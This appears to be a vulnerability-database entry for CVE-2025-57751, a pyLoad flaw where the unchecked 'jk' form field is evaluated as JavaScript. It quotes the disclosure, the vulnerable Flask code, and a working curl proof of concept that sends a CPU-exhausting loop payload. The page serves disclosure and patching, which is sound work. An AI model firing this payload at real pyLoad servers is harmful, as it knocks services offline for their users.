CVE-2025-57751High▾ TwilightDenial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 30.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.3%
0.3% → 0.3%
Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.
The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.
affected code
@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
package = flask.request.form.get(
"package", flask.request.form.get("source", flask.request.form.get("referer"))
)
crypted = flask.request.form["crypted"]
jk = flask.request.form["jk"]
pack_password = flask.request.form.get("passwords")
crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
jk = eval_js(f"{jk} f()")
def eval_js(script, es6=False):
if sys.version_info < (3, 12):
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
else:
return dukpy.evaljs(script)
download pyload and run locally, send the following request
curl -X POST "http://localhost:8000/flash/addcrypted2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "crypted=SGVsbG8gd29ybGQ=" \
-d "passwords=pyload" \
-d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"
The 30_000 can be modified to any large value.
System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.
Use the following command to check CPU usage
top -pid $(pgrep -f "pyload.__main__")
or
top -pid $(pgrep -f "pyload")
The CPU is fully occupied <img width="1209" height="134" alt="image" src="https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e" />
web-ui unresponsive <img width="1209" height="496" alt="image" src="https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd" />
pyload-ng < 0.5.0b3.dev92Upgrade to a patched release:
pyload-ng 0.5.0b3.dev92Connected by shared product, vendor, weakness, or advisory.
GHSA-fr26-jjhm-638cHighpyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
GHSA-p3pr-8f3m-4qp8Medium· 6.4pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host
GHSA-889w-m37p-88m5High· 7.5pyLoad: Api.set_user_permission never invalidates the target's session
GHSA-jq7h-wrvp-3rgxHigh· 7.5pyLoad: Privilege revocation and password change through the REST API do not invalidate the user's session
GHSA-68w4-83fh-f2w8High· 8.1pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password
GHSA-9q47-3cm2-2rp8MediumpyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header